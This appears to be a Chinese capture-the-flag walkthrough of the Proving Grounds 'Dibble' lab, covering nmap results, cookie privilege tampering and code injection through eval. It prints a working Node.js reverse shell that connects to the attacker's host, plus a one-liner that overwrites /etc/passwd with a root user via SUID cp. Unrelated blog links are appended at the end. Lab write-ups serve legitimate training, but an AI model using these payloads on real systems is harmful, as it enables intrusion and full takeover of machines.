nmap
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.45.250
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey:
| 3072 9d:3f:eb:1b:aa:9c:1e:b1:30:9b:23:53:4b:cf:59:75 (RSA)
| 256 cd:dc:05:e6:e3:bb:12:33:f7:09:74:50:12:8a:85:64 (ECDSA)
|_ 256 a0:90:1f:50:78:b3:9e:41:2a:7f:5c:6f:4d:0e:a1:fa (ED25519)
80/tcp open http Apache httpd 2.4.46 ((Fedora))
|_http-title: Home | Hacking Articles
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/
| /user/password/ /user/login/ /user/logout/ /index.php/admin/
|_/index.php/comment/reply/
|_http-server-header: Apache/2.4.46 (Fedora)
|_http-generator: Drupal 9 (https://www.drupal.org)
3000/tcp open http Node.js (Express middleware)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
27017/tcp open mongodb MongoDB 4.2.9 4.2.9
| mongodb-databases:

3000端口我试着注册了一个admin名字的用户发现成功
登录之后



点击see all views看看 能发现一堆用户名字



我点击new event log

然后算变写了点内容点击register 发现说我不是管理员



当我抓包的时候发现了一个很有意思的地方 cookie有个level字段 感觉这个字段就是控制权限的



我将这个字段改成admin并且base64编码之后发现我们写的文章上传成功了



这就很有意思了 接下来我们来看看怎么利用

好像也找不到啥利用点

看看80端口



是个drupal站点

droopescan 扫扫看看有啥玩意

发现好像也没啥

ftp我们也看看



可以看到ftp 是可以匿名登录但是没啥用 看不了文件上传不了东西

卡住了

我觉得一切的出发点还是在我们刚刚发现的小漏洞身上

尝试注入反弹shell代码 应为nmap 扫描发现是node.js写的我们就尝试注入node.js代码发现竟然反弹shell成功了!!

nodejs 反弹shell代码
!(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(80, "192.168.45.250", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();

我很好奇他这是怎么写的代码我们来看看是怎么造成代码注入的

发现这里直接就用eval来执行我们的上传内容 太离谱了 其实也是有点提示的

'Message format not valid, try "using double quotes" (testing new feature)' 我们就可能要考虑考虑传输的内容是否存在注入了

发现cp有suid权限

我们直接往/etc/passwd 写入我们的提权用户

提权成功

echo 'xxoo:$1$GWB36/lB$ncfgVGEio6XbCYeV53KcM0:0:0:asdasd:/root:/bin/bash' | cp /dev/stdin /etc/passwd

我只能说那个代码注入点确实没想到

但还是挺好玩的

这个大概打了两个半小时左右

Dibble pg walkthrough Intermediate的更多相关文章

  1. 简析服务端通过GT导入SHP至PG的方法

    文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.背景 项目中需要在浏览器端直接上传SHP后服务端进行数据的自动入PG ...

  2. Bootstap datetimepicker报错TypeError: intermediate value

    Bootstrap datetimepicker有多个版本,官方的链接中,只是datepicker,没有时间的选择,原版的datetimepicker也不再更新,不能用新版的jquery.现在http ...

  3. PG 中 JSON 字段的应用

    13 年发现 pg 有了 json 类型,便从 oracle 转 pg,几年下来也算比较熟稔了,总结几个有益的实践. 用途一:存储设计时无法预料的文档性的数据.比如,通常可以在人员表准备一个 json ...

  4. pg gem 安装(postgresql94)

    使用下面命令安装报错 gem install pg 错误: [root@AS-test middle_database]# gem install pgBuilding native extensio ...

  5. #pg学习#postgresql的安装

    1.按照官网给的步骤编译安装(Mac安装是比较容易的,相比Liunx) cd /Users/renlipeng/Desktop/postgresql-9.5.1 ./configure --prefi ...

  6. PG 函数的易变性(Function Volatility Categories)

    此概念的接触是在做分区表的时候碰到的,分区表按时间字段分区,在查询时当where条件中时间为now()或者current_time()等时是无法查询的,即使进行格式转换也不行,只有是时间格式如‘201 ...

  7. c++错误——intermediate.manifest : general error c1010070很傻的错

    .\Debug\sadf.exe.intermediate.manifest : general error c1010070: Failed to load and parse the manife ...

  8. mysql 序列与pg序列的比较

    mysql序列(这里只谈innodb引擎): 在使用mysql的AUTO_INCREMENT时,使用AUTO_INCREMENT的字段必须建有索引,也可以为索引的一部分.当没有索引时会报错:      ...

  9. 使用zfs进行pg的pitr恢复测试

    前段时间做了一下zfs做pg的增量恢复测试,mark一下. 服务器信息: 主机:192.168.173.43 备机:192.168.173.41 主备使用流复制搭建,在备机上面进行了zfs快照备份. ...

  10. PG CREATEINDEX CONCURRENTLY

    PG CREATEINDEX CONCURRENTLY [TOC] 官方说法 根据9.1的文档 Creating an index can interfere with regular operati ...

随机推荐

  1. performance.timing:利用performance.timing进行性能分析

    window.onload = function(){ setTimeout(function(){ let t = performance.timing console.log('DNS查询耗时 : ...

  2. 解决MindSpore-2.4-GPU版本的安装问题

    问题背景 虽说在MindSpore-2.3之后的版本中不在正式的发行版中支持GPU硬件后端,但其实在开发分支版本中对GPU后端是有支持的: 但是在安装的过程中可能会遇到一些问题或者报错,这里复现一下我 ...

  3. 【一步步开发AI运动小程序】八、利用body-calc进行姿态识别

    随着人工智能技术的不断发展,阿里体育等IT大厂,推出的"乐动力"."天天跳绳"AI运动APP,让云上运动会.线上运动会.健身打卡.AI体育指导等概念空前火热.那 ...

  4. AI翻唱神器,一键用你喜欢的歌手翻唱他人的曲目(附下载链接)

    最近,"AI孙燕姿"翻唱众多明星的歌曲在各大网络平台上走红,其作品不仅累积上千万的播放量,在科技圈和音乐圈也都引发了热议,歌手孙燕姿在社交平台发文回应称:人类无法超越AI技术已指日 ...

  5. 点击Popover外区域自动关闭Popover (popover close when click outside)

    $(document).on('click', function (e) { $('[data-toggle="popover"],[data-original-title]'). ...

  6. 一文聊清楚Redis主从复制原理

    本地缓存带来的挑战 分布式缓存相比于本地缓存,在实现层面需要关注的点有哪些不同.梳理如下: 维度 本地缓存 集中式缓存 缓存量 受限于单机内存大小,存储数据有限 需要提供给分布式系统里面所有节点共同使 ...

  7. Linux C/C++编程中的多线程编程基本概念

    8.2.1  操作系统和多线程 要在应用程序中实现多线程,必须有操作系统的支持.Linux 32位或64位操作系统对应用程序提供了多线程的支持,所以Windows NT/2000/XP/7/8/10是 ...

  8. word操作类

    public class WordUtility { private _Application wordApp = null; private _Document wordDoc = null; pu ...

  9. 一图一知-强大的js数组

    平时在开发中,数组基本是每天都会用到的数据结构,通过ES6的更新,数组更是越发强大,特此记录数组那些有用而强大的api.

  10. python3(iJmeter-master)接口测试程序部署实践

    记录学习性能测试过程遇到的问题,加油! 环境 安装环境如下: Windows 10 1803 VMWare Workstation 15 Pro Centos Linux release 7.9.20 ...